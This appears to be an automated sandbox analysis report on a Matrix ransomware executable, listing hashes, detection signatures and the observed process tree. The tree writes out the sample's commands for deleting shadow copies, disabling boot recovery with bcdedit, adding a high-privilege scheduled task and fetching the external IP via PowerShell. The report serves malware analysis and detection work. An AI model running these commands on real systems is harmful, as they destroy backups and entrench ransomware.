Overview

overview

10

Static

static

3eff2f818a...63.exe

windows7_x64

10

3eff2f818a...63.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    05-03-2022 22:37

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General

  • Target

    3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe

  • Size

    3.8MB

  • MD5

    ac42a9b2338847bb398152b1bf6401fd

  • SHA1

    02daf9ff6773da4d134c94fdb7630af2cc01e399

  • SHA256

    3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63

  • SHA512

    016c848cf8c2ffc1343d9242eaae19e9d41488f752282787f4f62cb841c121583f7673b21ddd7b624f39ef775c167fd2733eba495c84ebdf20103f09400e0ac1

Score
10/10
matrixdiscoveryevasionpersistenceransomwarespywarestealersuricataupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 26 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe
    "C:\Users\Admin\AppData\Local\Temp\3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe"
    1⤵
    • Matrix Ransomware
    • Modifies extensions of user files
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1492
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe" "C:\Users\Admin\AppData\Local\Temp\NWT8dVfc.exe"
      2⤵
        PID:2392
      • C:\Users\Admin\AppData\Local\Temp\NWT8dVfc.exe
        "C:\Users\Admin\AppData\Local\Temp\NWT8dVfc.exe" -n
        2⤵
        • Executes dropped EXE
        PID:2800
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\dx7HBuwM.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2120
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3892
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\BaI9ufue.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1148
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\BaI9ufue.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:3560
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:864
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:1644
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\6UkSb2Kq.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3516
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\6UkSb2Kq.vbs"
              3⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:4152
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\ks25Ghwe.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4968
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\ks25Ghwe.bat" /sc minute /mo 5 /RL HIGHEST /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:4432
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1640
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Run /I /tn DSHCA
                  5⤵
                    PID:2348
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lKSLHCZo.bat" "C:\ProgramData\Microsoft\Network\Downloader\qmgr.db""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3204
              • C:\Windows\SysWOW64\attrib.exe
                attrib -R -A -S "C:\ProgramData\Microsoft\Network\Downloader\qmgr.db"
                3⤵
                • Views/modifies file attributes
                PID:2712
              • C:\Windows\SysWOW64\cacls.exe
                cacls "C:\ProgramData\Microsoft\Network\Downloader\qmgr.db" /E /G Admin:F /C
                3⤵
                  PID:2556
                • C:\Windows\SysWOW64\takeown.exe
                  takeown /F "C:\ProgramData\Microsoft\Network\Downloader\qmgr.db"
                  3⤵
                  • Modifies file permissions
                  PID:2144
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c HH8cI51J.exe -accepteula "qmgr.db" -nobanner
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2808
                  • C:\Users\Admin\AppData\Local\Temp\HH8cI51J.exe
                    HH8cI51J.exe -accepteula "qmgr.db" -nobanner
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4592
                    • C:\Users\Admin\AppData\Local\Temp\HH8cI51J64.exe
                      HH8cI51J.exe -accepteula "qmgr.db" -nobanner
                      5⤵
                      • Drops file in Drivers directory
                      • Executes dropped EXE
                      • Enumerates connected drives
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: LoadsDriver
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4212
            • C:\Windows\SYSTEM32\cmd.exe
              C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\ks25Ghwe.bat"
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:4068
              • C:\Windows\system32\vssadmin.exe
                vssadmin Delete Shadows /All /Quiet
                2⤵
                • Interacts with shadow copies
                PID:3824
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic SHADOWCOPY DELETE
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4772
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:4596
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:1936
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN DSHCA /F
                2⤵
                  PID:3572
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:680

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/3892-135-0x0000000073DF0000-0x00000000745A0000-memory.dmp

                Filesize

                7.7MB

                Download

              • memory/3892-142-0x00000000079A0000-0x000000000801A000-memory.dmp

                Filesize

                6.5MB

                Download

              • memory/3892-143-0x0000000006680000-0x000000000669A000-memory.dmp

                Filesize

                104KB

                Download

              • memory/3892-141-0x00000000027F5000-0x00000000027F7000-memory.dmp

                Filesize

                8KB

                Download

              • memory/3892-140-0x0000000006170000-0x000000000618E000-memory.dmp

                Filesize

                120KB

                Download

              • memory/3892-139-0x0000000005AE0000-0x0000000005B46000-memory.dmp

                Filesize

                408KB

                Download

              • memory/3892-138-0x0000000005A70000-0x0000000005AD6000-memory.dmp

                Filesize

                408KB

                Download

              • memory/3892-137-0x00000000027F2000-0x00000000027F3000-memory.dmp

                Filesize

                4KB

                Download

              • memory/3892-136-0x00000000027F0000-0x00000000027F1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/3892-134-0x00000000059D0000-0x00000000059F2000-memory.dmp

                Filesize

                136KB

                Download

              • memory/3892-133-0x0000000005260000-0x0000000005888000-memory.dmp

                Filesize

                6.2MB

                Download

              • memory/3892-132-0x0000000002850000-0x0000000002886000-memory.dmp

                Filesize

                216KB

                Download